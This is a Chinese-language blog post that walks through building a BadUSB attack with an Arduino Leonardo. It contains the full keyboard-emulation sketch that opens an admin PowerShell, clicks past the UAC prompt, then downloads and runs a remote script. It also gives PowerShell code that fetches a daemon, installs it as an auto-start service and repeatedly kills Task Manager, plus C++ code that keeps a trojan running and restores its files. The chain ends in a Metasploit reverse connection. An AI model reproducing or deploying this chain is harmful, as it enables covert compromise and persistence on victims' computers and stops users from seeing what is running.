美文网首页
BadUSB-Arduino自嗨

BadUSB-Arduino自嗨

作者: apossin | 来源:发表于2018-12-03 08:22 被阅读0次

    前段时间了解到攻击性硬件的概念,感觉很有趣,于是萌生了自己动手尝试一番badusb的想法。
    于是在网上买了一小块Arduino Leonardo (便宜的很),利用Arduino IDE并结合powershell脚本c++程序等简单模拟一下病毒的攻击流程。

    关于usb

    U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
    BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
    现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
    

    步骤

    一.Arduino下载文件并执行

    晒一晒我的Arduino Lenardo:


    image.png

    安装arduino IDE并编写代码。

    #include<Keyboard.h> //包含键盘模块头文件
    void setup(){ //初始化
    Keyboard.begin();//开始键盘通信
    delay(1000);//延时1000毫秒,
    Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 
    Keyboard.press('r');//按下r键 CMD
    delay(500); 
    Keyboard.release(KEY_LEFT_GUI);//松掉win键 
    Keyboard.release('r');//松掉r键 
    delay(500); 
    Keyboard.println("cmd");
    Keyboard.press(KEY_RETURN);  //按下回车键
    Keyboard.release(KEY_RETURN); //释放回车键
    delay(500);
    Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
    Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/
    delay(2000);
    Keyboard.press(KEY_LEFT_ARROW); //按住左方向键
    Keyboard.release(KEY_LEFT_ARROW); //释放左方向键
    delay(500); 
    Keyboard.press(KEY_RETURN); //按下回车键
    Keyboard.release(KEY_RETURN);//释放enter键
    delay(3000); 
    Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象
    Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.124.129/VIRUS/STEP1.PS1','C:\\TEMP\\STEP1.PS1')");  /*从服务端下载Powershell脚本*/
    Keyboard.println("C:\\TEMP\\STEP1.PS1");
    Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
    delay(500);
    Keyboard.end();//结束键盘通讯 
    } 
    void loop()//循环,这里的代码
    { 
    //循环体
    }
    

    逻辑比较简单,模拟键盘操作打开cmd,Powershell并隐藏窗口,从服务器下载powershell脚本并执行。这里由于不会绕过uac,于是用了比较蠢的键盘操作,方向键点击确定按钮。
    选好正确的开发板和端口:


    image.png

    编译代码:


    image.png
    上传烧录:
    image.png
    接下来,插入arduino就会自动运行动作了。

    二.powershell下载文件并创建服务

    我想让powershell实现的功能是,去下载守护进程,创建一个自启动服务,并实现一个阻止用户打开任务管理器的功能。
    关键代码:

    $src = 'HTTP://192.168.124.129/VIRUS/daemon.exe'
    $des = "C:\\TEMP\\daemon.exe"
    $client = new-object System.Net.WebClient
    $client.DownloadFile($src, $des)
    new-Service -name daemonService -DisplayName daemonService -BinaryPathName "C:\\TEMP\\daemon.exe" -StartupType Automatic
    while($true)
    {
        $tasksmanager = "taskmgr"
        $status = Get-Process $tasksmanager -ErrorAction SilentlyContinue
        If ($status)
        {
            foreach($p in $status)
            {
                $p|stop-Process -force
            }
        }
        Start-Sleep -s 1
    }
    

    后面设定好每隔一秒去关闭任务管理器,当然可以把间隔时间设的更小。

    三 编写守护程序

    掏出了荒废已久的c++ :)
    计划实现一个下载木马文件并备份,监控木马进程,自动重连和恢复文件的功能。
    找的网上的程序,做了点修改。
    文件检测并恢复:

    BOOL checkFile(LPVOID strpath){
        char *path = (char *)strpath;
        if((fopen(path,"rb"))==NULL){
            return FALSE;
        }else{
            return TRUE;
        }
    }
    ……
    if(!checkFile(path[i])){
        source += "//beifen";
        destination = (string)path[i];
        CopyFile(source.data(), destination.data(), FALSE);
        cout << path[i] <<endl;
    }
    

    进程监控:

    DWORD WINAPI Daemonproc(LPVOID lpParameter)
    {
        char *path = (char *)lpParameter;
        cout << "child process " << path<< endl;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
        do{
            if(!CreateProcess( NULL,path,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
            {
                cout << "创建进程失败.." << GetLastError() << endl;
                return 0;
            }
            WaitForSingleObject( pi.hProcess, INFINITE);
            cout << "子进程已经退出..." << endl;
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }while(true);
        return 0;
    }
    

    配置文件tellme.ini:

    [PROCESSNUM]
    num=1
    [PROCESSPATH]
    path1="C:\Update\step3.exe"
    

    四.metaspoloit

    metasploit生成一个反连马。


    image.png

    五.final

    最后把这几个步骤结合起来
    arduino下载step1.ps1并执行;setp1.ps1下载其他文件,创建服务;启动 daemon.exe,复制木马到update目录,并反连metasploit。
    最后的效果:


    image.png

    最后想要的效果是勉强实现了,但还是有很多的问题,比如这个powershell的窗口隐藏,因为我step1.ps1顺便执行了监听关闭任务管理器的功能,关掉界面功能就断掉了,最小化就没法继续输命令;还有这个daemon.exe没法自启动,需要我手动启动一下或者重启;还有arduino第一次插入会安装驱动器,我的win10成功安装了,win7没安装成功导致用不了,郁闷。而且代码实现的也很有问题,东拼西凑的,有点乱,也懒得继续花功夫雕琢了。不过确实挺好玩的,哈哈哈。

    相关文章

      网友评论

          本文标题:BadUSB-Arduino自嗨

          本文链接:https://www.haomeiwen.com/subject/umabqqtx.html